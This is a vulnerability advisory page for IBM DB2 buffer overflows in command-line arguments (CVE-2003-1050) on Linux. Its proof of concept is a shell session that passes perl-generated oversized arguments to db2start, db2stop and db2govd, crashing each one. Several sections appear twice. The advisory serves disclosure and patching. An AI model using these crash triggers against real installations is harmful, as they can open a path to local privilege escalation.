IBM DB2 Multiple Command-Line Argument Buffer Overflow Vulnerabilities
BID:8990
Info
IBM DB2 Multiple Command-Line Argument Buffer Overflow Vulnerabilities
| Bugtraq ID: | 8990 |
| Class: | Boundary Condition Error |
| CVE: |
CVE-2003-1050 |
| Remote: | No |
| Local: | Yes |
| Published: | Nov 07 2003 12:00AM |
| Updated: | Jul 12 2009 12:56AM |
| Credit: | This vulnerability was discovered by SNOSoft. |
| Vulnerable: |
IBM DB2 Universal Database for Linux 8.1 IBM DB2 Universal Database for Linux 8.0 IBM DB2 Universal Database for Linux 7.2 IBM DB2 Universal Database for Linux 7.1 IBM DB2 Universal Database for Linux 7.0 |
| Not Vulnerable: | |
Discussion
IBM DB2 Multiple Command-Line Argument Buffer Overflow Vulnerabilities
IBM DB2 has been reported to be prone to multiple buffer overflow vulnerabilities that present themselves in binaries that are shipped with DB2. The vulnerabilities are likely caused due to a lack of sufficient boundary checks performed on user supplied command-line arguments before they are copied into a reserved buffer in memory. It has been reported that by supplying arguments of excessive length to the respective vulnerable executables a local attacker may trigger the execution of arbitrary attacker-supplied instructions with elevated privileges.
IBM DB2 has been reported to be prone to multiple buffer overflow vulnerabilities that present themselves in binaries that are shipped with DB2. The vulnerabilities are likely caused due to a lack of sufficient boundary checks performed on user supplied command-line arguments before they are copied into a reserved buffer in memory. It has been reported that by supplying arguments of excessive length to the respective vulnerable executables a local attacker may trigger the execution of arbitrary attacker-supplied instructions with elevated privileges.
Exploit / POC
IBM DB2 Multiple Command-Line Argument Buffer Overflow Vulnerabilities
The following proof of concept has been supplied:
[kf@RiotStarter adm]$ source /home/db2inst1/sqllib/db2profile
[kf@RiotStarter adm]$ ./db2start `perl -e 'print "A" x 9901'`
Segmentation fault
[kf@RiotStarter adm]$ ./db2stop `perl -e 'print "A" x 4001'`
Segmentation fault
[db2inst1@RiotStarter adm]$ ./db2govd stop a `perl -e 'print "A" x 65'`
Segmentation fault
The following proof of concept has been supplied:
[kf@RiotStarter adm]$ source /home/db2inst1/sqllib/db2profile
[kf@RiotStarter adm]$ ./db2start `perl -e 'print "A" x 9901'`
Segmentation fault
[kf@RiotStarter adm]$ ./db2stop `perl -e 'print "A" x 4001'`
Segmentation fault
[db2inst1@RiotStarter adm]$ ./db2govd stop a `perl -e 'print "A" x 65'`
Segmentation fault
Solution / Fix
IBM DB2 Multiple Command-Line Argument Buffer Overflow Vulnerabilities
Solution:
It has been reported that IBM has released Fixpack 4 for v8 of the database. IBM is also said to be currently developing Fixpack 11 for v7, which will be available in mid November 2003. This information has not yet been verified by Symantec. Until this information has been confirmed, users are advised to check the following URL for Fixpack releases.
http://www-3.ibm.com/cgi-bin/db2www/data/db2/udb/winos2unix/support/download.d2w/report
Solution:
It has been reported that IBM has released Fixpack 4 for v8 of the database. IBM is also said to be currently developing Fixpack 11 for v7, which will be available in mid November 2003. This information has not yet been verified by Symantec. Until this information has been confirmed, users are advised to check the following URL for Fixpack releases.
http://www-3.ibm.com/cgi-bin/db2www/data/db2/udb/winos2unix/support/download.d2w/report
References
IBM DB2 Multiple Command-Line Argument Buffer Overflow Vulnerabilities
References:
References: